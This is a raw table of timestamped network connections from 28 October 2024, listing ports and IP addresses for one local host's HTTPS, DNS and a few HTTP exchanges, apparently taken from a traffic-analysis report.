Oct 28, 2024 18:43:24.364315033 CET	443	63454	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:24.396533012 CET	63453	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:24.396579027 CET	443	63453	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:24.398747921 CET	63453	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:24.398762941 CET	443	63453	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:24.408207893 CET	63451	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:24.408221960 CET	443	63451	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:24.408823967 CET	63451	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:24.408828974 CET	443	63451	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:24.412492990 CET	63454	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:24.412520885 CET	443	63454	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:24.413060904 CET	63454	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:24.413067102 CET	443	63454	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:24.464129925 CET	63455	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:24.464184046 CET	443	63455	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:24.464257956 CET	63455	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:24.484229088 CET	63455	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:24.484275103 CET	443	63455	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:24.534519911 CET	443	63453	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:24.534712076 CET	443	63453	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:24.534807920 CET	63453	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:24.537359953 CET	443	63451	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:24.537525892 CET	443	63451	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:24.537580967 CET	63451	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:24.540708065 CET	443	63454	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:24.540941000 CET	443	63454	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:24.541007996 CET	63454	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:24.603351116 CET	63453	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:24.603420019 CET	443	63453	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:24.603446007 CET	63451	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:24.603466988 CET	443	63451	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:24.603507996 CET	63451	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:24.603511095 CET	63453	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:24.603514910 CET	443	63451	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:24.603529930 CET	443	63453	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:24.605407000 CET	63454	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:24.605431080 CET	443	63454	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:24.605447054 CET	63454	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:24.605453014 CET	443	63454	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:25.204397917 CET	63456	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:25.204457998 CET	443	63456	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:25.204539061 CET	63456	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:25.207237959 CET	63457	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:25.207273960 CET	443	63457	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:25.207338095 CET	63457	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:25.226121902 CET	63459	443	192.168.2.5	52.123.243.195
Oct 28, 2024 18:43:25.226134062 CET	443	63459	52.123.243.195	192.168.2.5
Oct 28, 2024 18:43:25.226188898 CET	63459	443	192.168.2.5	52.123.243.195
Oct 28, 2024 18:43:25.226612091 CET	443	63455	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:25.241440058 CET	63456	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:25.241451979 CET	443	63456	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:25.259238958 CET	63457	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:25.259259939 CET	443	63457	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:25.329777956 CET	63455	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:25.329862118 CET	443	63455	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:25.330526114 CET	63455	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:25.330543041 CET	443	63455	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:25.361401081 CET	63460	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:25.361469030 CET	443	63460	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:25.361568928 CET	63460	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:25.384948015 CET	63460	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:25.384990931 CET	443	63460	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:25.385983944 CET	63459	443	192.168.2.5	52.123.243.195
Oct 28, 2024 18:43:25.385997057 CET	443	63459	52.123.243.195	192.168.2.5
Oct 28, 2024 18:43:25.796145916 CET	443	63455	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:25.796344042 CET	443	63455	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:25.796614885 CET	63455	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:25.799069881 CET	443	63452	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:25.809844017 CET	63461	443	192.168.2.5	94.245.104.56
Oct 28, 2024 18:43:25.809896946 CET	443	63461	94.245.104.56	192.168.2.5
Oct 28, 2024 18:43:25.810142040 CET	63461	443	192.168.2.5	94.245.104.56
Oct 28, 2024 18:43:25.810506105 CET	63462	53	192.168.2.5	1.1.1.1
Oct 28, 2024 18:43:25.811834097 CET	63461	443	192.168.2.5	94.245.104.56
Oct 28, 2024 18:43:25.811850071 CET	443	63461	94.245.104.56	192.168.2.5
Oct 28, 2024 18:43:25.816054106 CET	53	63462	1.1.1.1	192.168.2.5
Oct 28, 2024 18:43:25.816128016 CET	63462	53	192.168.2.5	1.1.1.1
Oct 28, 2024 18:43:25.816433907 CET	63462	53	192.168.2.5	1.1.1.1
Oct 28, 2024 18:43:25.816433907 CET	63462	53	192.168.2.5	1.1.1.1
Oct 28, 2024 18:43:25.821968079 CET	53	63462	1.1.1.1	192.168.2.5
Oct 28, 2024 18:43:25.822007895 CET	53	63462	1.1.1.1	192.168.2.5
Oct 28, 2024 18:43:25.862416983 CET	63455	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:25.862443924 CET	443	63455	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:25.862457991 CET	63455	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:25.862464905 CET	443	63455	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:25.869481087 CET	63462	53	192.168.2.5	1.1.1.1
Oct 28, 2024 18:43:25.870382071 CET	63452	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:25.870404959 CET	443	63452	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:25.870831966 CET	63452	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:25.870836973 CET	443	63452	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:25.916214943 CET	53	63462	1.1.1.1	192.168.2.5
Oct 28, 2024 18:43:25.946898937 CET	63467	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:25.946911097 CET	443	63467	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:25.947221994 CET	63467	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:25.994508028 CET	443	63456	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:25.998147964 CET	443	63452	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:25.998344898 CET	443	63452	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:25.999257088 CET	63452	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:26.029012918 CET	443	63457	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.060859919 CET	63457	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:26.060875893 CET	443	63457	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.061466932 CET	63457	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:26.061471939 CET	443	63457	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.061621904 CET	63467	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:26.061647892 CET	443	63467	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.062319994 CET	63456	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:26.062340975 CET	443	63456	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.063354015 CET	63456	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:26.063364983 CET	443	63456	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.065387964 CET	63452	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:26.065398932 CET	443	63452	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.086677074 CET	63468	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:26.086694002 CET	443	63468	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.086755037 CET	63468	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:26.087018013 CET	63468	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:26.087028027 CET	443	63468	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.189584970 CET	443	63457	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.189662933 CET	443	63457	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.190287113 CET	63457	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:26.193504095 CET	443	63456	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.193568945 CET	443	63456	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.193625927 CET	63456	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:26.292048931 CET	53	63462	1.1.1.1	192.168.2.5
Oct 28, 2024 18:43:26.292125940 CET	63462	53	192.168.2.5	1.1.1.1
Oct 28, 2024 18:43:26.539134979 CET	443	63460	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.658982038 CET	63460	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:26.718378067 CET	63457	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:26.718395948 CET	443	63457	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.718420982 CET	63456	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:26.718441010 CET	443	63456	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.718453884 CET	63456	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:26.718460083 CET	443	63456	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.718533039 CET	63457	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:26.718539953 CET	443	63457	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.729582071 CET	63460	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:26.729614019 CET	443	63460	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.730209112 CET	63460	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:26.730216026 CET	443	63460	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.782587051 CET	443	63467	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.821120024 CET	443	63468	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.825993061 CET	63469	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:26.826036930 CET	443	63469	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.826112986 CET	63469	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:26.829673052 CET	63467	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:26.829687119 CET	443	63467	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.830446005 CET	63467	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:26.830450058 CET	443	63467	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.842614889 CET	63468	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:26.842629910 CET	443	63468	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.843050003 CET	63468	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:26.843054056 CET	443	63468	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.843188047 CET	63469	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:26.843209028 CET	443	63469	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.843713045 CET	63471	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:26.843739986 CET	443	63471	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.843797922 CET	63471	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:26.843928099 CET	63471	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:26.843935013 CET	443	63471	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.857547045 CET	443	63460	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.857619047 CET	443	63460	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.857671976 CET	63460	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:26.862750053 CET	63460	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:26.862798929 CET	443	63460	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.862833977 CET	63460	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:26.862848043 CET	443	63460	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.891494036 CET	443	63461	94.245.104.56	192.168.2.5
Oct 28, 2024 18:43:26.891783953 CET	63461	443	192.168.2.5	94.245.104.56
Oct 28, 2024 18:43:26.891798973 CET	443	63461	94.245.104.56	192.168.2.5
Oct 28, 2024 18:43:26.892824888 CET	443	63461	94.245.104.56	192.168.2.5
Oct 28, 2024 18:43:26.892920971 CET	63461	443	192.168.2.5	94.245.104.56
Oct 28, 2024 18:43:26.894726038 CET	63461	443	192.168.2.5	94.245.104.56
Oct 28, 2024 18:43:26.894792080 CET	443	63461	94.245.104.56	192.168.2.5
Oct 28, 2024 18:43:26.894901037 CET	63461	443	192.168.2.5	94.245.104.56
Oct 28, 2024 18:43:26.894907951 CET	443	63461	94.245.104.56	192.168.2.5
Oct 28, 2024 18:43:26.902569056 CET	443	63459	52.123.243.195	192.168.2.5
Oct 28, 2024 18:43:26.907104969 CET	63459	443	192.168.2.5	52.123.243.195
Oct 28, 2024 18:43:26.907128096 CET	443	63459	52.123.243.195	192.168.2.5
Oct 28, 2024 18:43:26.908029079 CET	443	63459	52.123.243.195	192.168.2.5
Oct 28, 2024 18:43:26.908085108 CET	63459	443	192.168.2.5	52.123.243.195
Oct 28, 2024 18:43:26.909276009 CET	63459	443	192.168.2.5	52.123.243.195
Oct 28, 2024 18:43:26.909332037 CET	443	63459	52.123.243.195	192.168.2.5
Oct 28, 2024 18:43:26.909770966 CET	63459	443	192.168.2.5	52.123.243.195
Oct 28, 2024 18:43:26.909778118 CET	443	63459	52.123.243.195	192.168.2.5
Oct 28, 2024 18:43:26.957870960 CET	443	63467	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.957997084 CET	443	63467	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.958051920 CET	63467	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:26.969640970 CET	443	63468	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.969742060 CET	443	63468	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:26.969811916 CET	63468	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.018449068 CET	63459	443	192.168.2.5	52.123.243.195
Oct 28, 2024 18:43:27.018474102 CET	63461	443	192.168.2.5	94.245.104.56
Oct 28, 2024 18:43:27.044593096 CET	63467	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.044603109 CET	443	63467	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.044620037 CET	63467	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.044625044 CET	443	63467	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.045840025 CET	63468	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.045865059 CET	443	63468	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.045891047 CET	63468	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.045896053 CET	443	63468	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.061889887 CET	63472	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.061908007 CET	443	63472	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.061964989 CET	63472	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.065221071 CET	63473	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.065272093 CET	443	63473	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.065335989 CET	63473	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.126383066 CET	63472	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.126394033 CET	443	63472	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.133011103 CET	443	63461	94.245.104.56	192.168.2.5
Oct 28, 2024 18:43:27.139483929 CET	63473	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.139512062 CET	443	63473	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.168205023 CET	63475	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.168250084 CET	443	63475	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.168329000 CET	63475	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.168698072 CET	63475	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.168716908 CET	443	63475	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.203490973 CET	63461	443	192.168.2.5	94.245.104.56
Oct 28, 2024 18:43:27.203668118 CET	443	63461	94.245.104.56	192.168.2.5
Oct 28, 2024 18:43:27.203820944 CET	63461	443	192.168.2.5	94.245.104.56
Oct 28, 2024 18:43:27.207151890 CET	80	63435	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:27.207256079 CET	63435	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:27.317472935 CET	443	63459	52.123.243.195	192.168.2.5
Oct 28, 2024 18:43:27.317503929 CET	443	63459	52.123.243.195	192.168.2.5
Oct 28, 2024 18:43:27.317549944 CET	63459	443	192.168.2.5	52.123.243.195
Oct 28, 2024 18:43:27.317570925 CET	443	63459	52.123.243.195	192.168.2.5
Oct 28, 2024 18:43:27.317637920 CET	63459	443	192.168.2.5	52.123.243.195
Oct 28, 2024 18:43:27.402261972 CET	63478	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:27.402288914 CET	443	63478	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:27.402384996 CET	63478	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:27.403790951 CET	63478	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:27.403805017 CET	443	63478	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:27.434019089 CET	443	63459	52.123.243.195	192.168.2.5
Oct 28, 2024 18:43:27.434026957 CET	443	63459	52.123.243.195	192.168.2.5
Oct 28, 2024 18:43:27.434067011 CET	443	63459	52.123.243.195	192.168.2.5
Oct 28, 2024 18:43:27.434079885 CET	443	63459	52.123.243.195	192.168.2.5
Oct 28, 2024 18:43:27.434079885 CET	63459	443	192.168.2.5	52.123.243.195
Oct 28, 2024 18:43:27.434102058 CET	443	63459	52.123.243.195	192.168.2.5
Oct 28, 2024 18:43:27.434119940 CET	63459	443	192.168.2.5	52.123.243.195
Oct 28, 2024 18:43:27.516529083 CET	63459	443	192.168.2.5	52.123.243.195
Oct 28, 2024 18:43:27.560590982 CET	443	63459	52.123.243.195	192.168.2.5
Oct 28, 2024 18:43:27.560601950 CET	443	63459	52.123.243.195	192.168.2.5
Oct 28, 2024 18:43:27.560633898 CET	443	63459	52.123.243.195	192.168.2.5
Oct 28, 2024 18:43:27.560647964 CET	443	63459	52.123.243.195	192.168.2.5
Oct 28, 2024 18:43:27.560651064 CET	63459	443	192.168.2.5	52.123.243.195
Oct 28, 2024 18:43:27.560673952 CET	443	63459	52.123.243.195	192.168.2.5
Oct 28, 2024 18:43:27.560682058 CET	443	63459	52.123.243.195	192.168.2.5
Oct 28, 2024 18:43:27.560693979 CET	63459	443	192.168.2.5	52.123.243.195
Oct 28, 2024 18:43:27.560728073 CET	63459	443	192.168.2.5	52.123.243.195
Oct 28, 2024 18:43:27.585108995 CET	443	63471	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.589162111 CET	443	63469	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.589819908 CET	63471	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.589852095 CET	443	63471	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.590498924 CET	63471	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.590504885 CET	443	63471	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.591811895 CET	63469	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.591824055 CET	443	63469	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.592283010 CET	63469	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.592287064 CET	443	63469	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.677432060 CET	443	63459	52.123.243.195	192.168.2.5
Oct 28, 2024 18:43:27.677445889 CET	443	63459	52.123.243.195	192.168.2.5
Oct 28, 2024 18:43:27.677489042 CET	443	63459	52.123.243.195	192.168.2.5
Oct 28, 2024 18:43:27.677500963 CET	443	63459	52.123.243.195	192.168.2.5
Oct 28, 2024 18:43:27.677500963 CET	63459	443	192.168.2.5	52.123.243.195
Oct 28, 2024 18:43:27.677524090 CET	443	63459	52.123.243.195	192.168.2.5
Oct 28, 2024 18:43:27.677551031 CET	63459	443	192.168.2.5	52.123.243.195
Oct 28, 2024 18:43:27.677562952 CET	63459	443	192.168.2.5	52.123.243.195
Oct 28, 2024 18:43:27.718539953 CET	443	63459	52.123.243.195	192.168.2.5
Oct 28, 2024 18:43:27.718548059 CET	443	63459	52.123.243.195	192.168.2.5
Oct 28, 2024 18:43:27.718612909 CET	63459	443	192.168.2.5	52.123.243.195
Oct 28, 2024 18:43:27.718619108 CET	443	63459	52.123.243.195	192.168.2.5
Oct 28, 2024 18:43:27.718648911 CET	443	63459	52.123.243.195	192.168.2.5
Oct 28, 2024 18:43:27.718693972 CET	63459	443	192.168.2.5	52.123.243.195
Oct 28, 2024 18:43:27.719185114 CET	443	63471	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.719397068 CET	443	63471	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.719472885 CET	443	63469	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.719536066 CET	63471	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.719664097 CET	443	63469	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.719708920 CET	63469	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.735446930 CET	63459	443	192.168.2.5	52.123.243.195
Oct 28, 2024 18:43:27.735455036 CET	443	63459	52.123.243.195	192.168.2.5
Oct 28, 2024 18:43:27.738141060 CET	63471	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.738207102 CET	443	63471	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.738251925 CET	63471	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.738271952 CET	443	63471	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.740418911 CET	63469	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.740438938 CET	443	63469	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.740463018 CET	63469	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.740474939 CET	443	63469	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.745940924 CET	63483	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.745955944 CET	443	63483	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.746018887 CET	63483	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.746051073 CET	63484	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.746077061 CET	443	63484	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.750566006 CET	63483	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.750579119 CET	443	63483	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.750627041 CET	63484	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.753709078 CET	63484	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.753721952 CET	443	63484	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.865329027 CET	443	63472	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.890214920 CET	63472	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.890235901 CET	443	63472	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.890734911 CET	63472	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.890741110 CET	443	63472	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.919123888 CET	443	63473	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.919126987 CET	443	63475	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.925503969 CET	63473	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.925580025 CET	443	63473	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.925960064 CET	63473	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.925975084 CET	443	63473	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.926274061 CET	63475	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.926307917 CET	443	63475	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:27.926707029 CET	63475	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:27.926717997 CET	443	63475	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:28.017525911 CET	443	63472	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:28.017688036 CET	443	63472	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:28.017743111 CET	63472	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:28.053612947 CET	443	63473	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:28.054729939 CET	443	63473	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:28.054788113 CET	63473	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:28.061063051 CET	63472	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:28.061072111 CET	443	63472	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:28.061134100 CET	63472	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:28.061139107 CET	443	63472	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:28.073681116 CET	63473	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:28.073717117 CET	443	63473	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:28.086225986 CET	63485	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:28.086292982 CET	443	63485	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:28.086380005 CET	63485	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:28.128839970 CET	63486	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:28.128880978 CET	443	63486	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:28.129029989 CET	63486	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:28.131360054 CET	63485	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:28.131387949 CET	443	63485	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:28.173105955 CET	63486	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:28.173126936 CET	443	63486	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:28.333731890 CET	443	63475	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:28.333861113 CET	443	63475	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:28.334033966 CET	63475	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:28.359127998 CET	63475	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:28.359152079 CET	443	63475	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:28.359184027 CET	63475	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:28.359200001 CET	443	63475	13.107.246.51	192.168.2.5
